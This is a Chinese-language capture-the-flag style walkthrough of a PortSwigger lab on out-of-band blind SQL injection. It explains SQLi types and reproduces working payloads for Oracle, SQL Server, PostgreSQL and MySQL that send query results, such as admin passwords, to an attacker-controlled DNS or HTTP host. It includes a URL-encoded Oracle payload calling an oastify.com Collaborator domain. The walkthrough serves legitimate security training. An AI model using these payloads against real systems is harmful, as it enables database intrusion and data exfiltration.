一、题目分析
该实验室存在一个盲 SQL 注入漏洞。该应用程序使用跟踪 cookie 进行分析,并执行包含所提交 cookie 值的 SQL 查询。该 SQL 查询是异步执行的,不会对应用程序的响应产生影响。不过,我们可以与外部域触发非带内交互。要解决此漏洞,需利用 SQL 注入漏洞,从而引发对 Burp Collaborator 的 DNS 查询操作。同时PortSwigger靶场提醒我们注意为防止 Academy 平台被用于攻击第三方,他们的防火墙会阻止实验室与任意外部系统的交互。要解决此问题,我们必须使用 Burp Collaborator 的默认公共服务器。
接下来我们引入一下sql注入的类型理论知识为我们解决本关打下基础
二、SQL 注入的类型
SQL 注入是一种常见的网络安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的 SQL 代码,从而干扰应用程序对其数据库的查询。这可能导致数据泄露、数据篡改,甚至完全控制数据库服务器。
SQL 注入主要分为以下几种类型:
1. 带内(In-band)SQL 注入
带内 SQL 注入是最常见也是最直接的类型,攻击者可以使用相同的通信渠道发送攻击和接收结果。它又可以细分为:
-
基于错误的 SQL 注入 (Error-based SQLi): 攻击者故意使数据库返回错误消息,这些错误消息中包含了敏感信息(如数据库结构、列名等)。通过分析这些错误,攻击者可以逐步推断出数据库的布局。
-
基于联合查询的 SQL 注入 (Union-based SQLi): 攻击者利用
UNION
运算符将一个恶意的SELECT
查询的结果与原始查询的结果合并。这使得攻击者能够从数据库中检索任意数据,并将其显示在应用程序的正常输出中。
2. 推断(Inferential)SQL 注入 (也称为盲注入)
推断 SQL 注入发生在攻击者无法直接从数据库获取数据的情况下。相反,攻击者根据应用程序响应的行为或时间来推断数据库的信息。这种类型的注入通常需要更长的时间来执行,但仍然非常有效。
-
基于布尔的盲注入 (Boolean-based Blind SQLi): 攻击者发送一系列 SQL 查询,这些查询会根据结果的真假导致应用程序的响应有所不同(例如,页面显示或不显示)。通过观察这些布尔响应,攻击者可以逐个字符地推断出数据库中的数据。
-
基于时间的盲注入 (Time-based Blind SQLi): 攻击者发送的 SQL 查询中包含一个时间延迟函数(如
SLEEP()
或BENCHMARK()
)。如果查询中的条件为真,数据库将执行延迟,从而导致应用程序响应时间变长。攻击者通过测量响应时间来判断条件是否成立,以此推断出数据。
以上两种SQL注入我们都在之前的靶场学习过了,接下来我们来学习带外sql注入,这关主要是让我们浅浅尝试
3. 带外(Out-of-band)SQL 注入
带外 SQL 注入是一种不常见的类型,它发生在攻击者无法使用与应用程序相同的通信渠道获取结果时。在这种情况下,攻击者利用数据库服务器的某些功能(如 DNS 查询或 HTTP 请求)将数据发送到自己控制的外部服务器。这种攻击通常用于无法通过带内或推断技术提取数据的高级场景。
-
通过 DNS 请求的带外 SQL 注入: 攻击者利用数据库的某些函数(如
LOAD_FILE()
或UTL_HTTP
)触发一个 DNS 查询到攻击者控制的域名。查询的子域名部分可以编码从数据库中提取的数据。 -
通过 HTTP 请求的带外 SQL 注入: 攻击者使数据库服务器向攻击者控制的 HTTP 服务器发送请求,请求中包含了从数据库中提取的数据。
本关就是考察通过 DNS 请求的带外 SQL 注入。
三、带外注入语句
在butpsuite提供的cheat-sheet中,给出了各个数据库的外带语句:
下面是针对不同数据库的语句解释:
1. Oracle
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' || (SELECT YOUR-QUERY-HERE) || '.BURP-COLLABORATOR-SUBDOMAIN/">%remote;]>'),'/l1') FROM dual
-
原理:利用 XML 类型解析错误来触发外部 HTTP 请求。
-
解释:
-
EXTRACTVALUE(xmltype(...),'/l1')
:这是一个 XML 解析函数,用于从 XML 数据中提取值。 -
xmltype(...)
:这部分构造了一个畸形的 XML 文档,其中包含一个外部实体引用<!ENTITY % remote SYSTEM "http://...">
。 -
(SELECT YOUR-QUERY-HERE)
:这是你的注入查询,例如(SELECT password FROM users WHERE username='admin')
。它的结果会被拼接到 URL 中。 -
.BURP-COLLABORATOR-SUBDOMAIN/
:这是 Burp Collaborator 生成的唯一子域名。当 Oracle 尝试解析这个外部实体时,它会向该 URL 发送一个 HTTP 请求。
-
-
结果:这里利用了 XML 解析器“需要”访问外部资源来完成解析的这一特性,而不是依赖于传统的 SQL 注入。即使解析最终会失败(因为 XML 文档结构不完整),在解析器尝试加载外部实体的那个瞬间,数据就已经被发送出去了。如果注入成功,Oracle 数据库会向一个包含查询结果的 URL 发送请求,攻击者可以在 Burp Collaborator 上接收到这个请求,从而获取数据。
2. Microsoft SQL Server
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master.xp_dirtree //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a'')
-
原理:利用
xp_dirtree
系统存储过程来触发 UNC 路径访问,从而导致 DNS 请求。 -
解释:
-
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);
:声明一个变量@p
并将你的注入查询结果赋值给它。 -
exec('master.xp_dirtree //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a'')
:执行一个存储过程xp_dirtree
,它通常用于列出文件目录。这里巧妙地利用它来尝试访问一个网络共享路径。 -
//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a''
:这是一个 UNC 路径(网络共享路径),它将你的查询结果@p
嵌入到主机名中。
-
-
结果:当 SQL Server 尝试访问这个 UNC 路径时,它会先执行一个 DNS 查询来解析主机名,这个查询包含了你的数据。攻击者可以在 DNS 服务器(如 Burp Collaborator)上捕获这个查询。
3. PostgreSQL
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
execute c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
end;
$$ language plpgsql security definer;
SELECT f();
-
原理:创建一个临时函数,利用
copy
命令来执行外部程序nslookup
,从而触发 DNS 查询。 -
解释:
-
create OR replace function f() ...
:创建一个临时的 PL/pgSQL 函数f()
。 -
SELECT into p (SELECT YOUR-QUERY-HERE);
:将你的注入查询结果存储到变量p
中。 -
execute c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''';
:这是核心部分。copy ... to program ...
命令通常用于将查询结果导出到外部程序。这里它被滥用,通过nslookup
命令向一个包含查询结果的域名发送 DNS 请求。
-
-
结果:执行
SELECT f()
时,函数会执行nslookup
命令,向包含查询结果的子域名发起 DNS 请求。
4. MySQL (Windows only)
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
-
原理:利用
INTO OUTFILE
语句将查询结果写入到一个网络共享路径,从而触发 DNS 查询。 -
解释:
-
SELECT YOUR-QUERY-HERE INTO OUTFILE ...
:将你的查询结果写入一个文件。 -
\\\\BURP-COLLABORATOR-SUBDOMAIN\a
:这是一个 UNC 路径。由于 MySQL 在 Windows 上执行此操作,它会尝试访问这个网络路径,并触发一个 DNS 查询来解析域名。
-
-
结果:与 SQL Server 类似,MySQL 会向 Burp Collaborator 域名发送 DNS 请求,从而泄露查询结果。这个方法只在 MySQL 服务运行在 Windows 系统上时才有效。
5、开始尝试
我们从oracle开始尝试,只需要将.BURP-COLLABORATOR-SUBDOMAIN
换成生成的地址。
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a///5syvatdg4musou1rj8t1c03qxh38rzfo.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
四、成功通关
学习参考:归去来兮-zangcc 【送书活动第2期】打靶Portswigger系列—— 一口气通关18个SQL注入靶场详细流程(文末送书)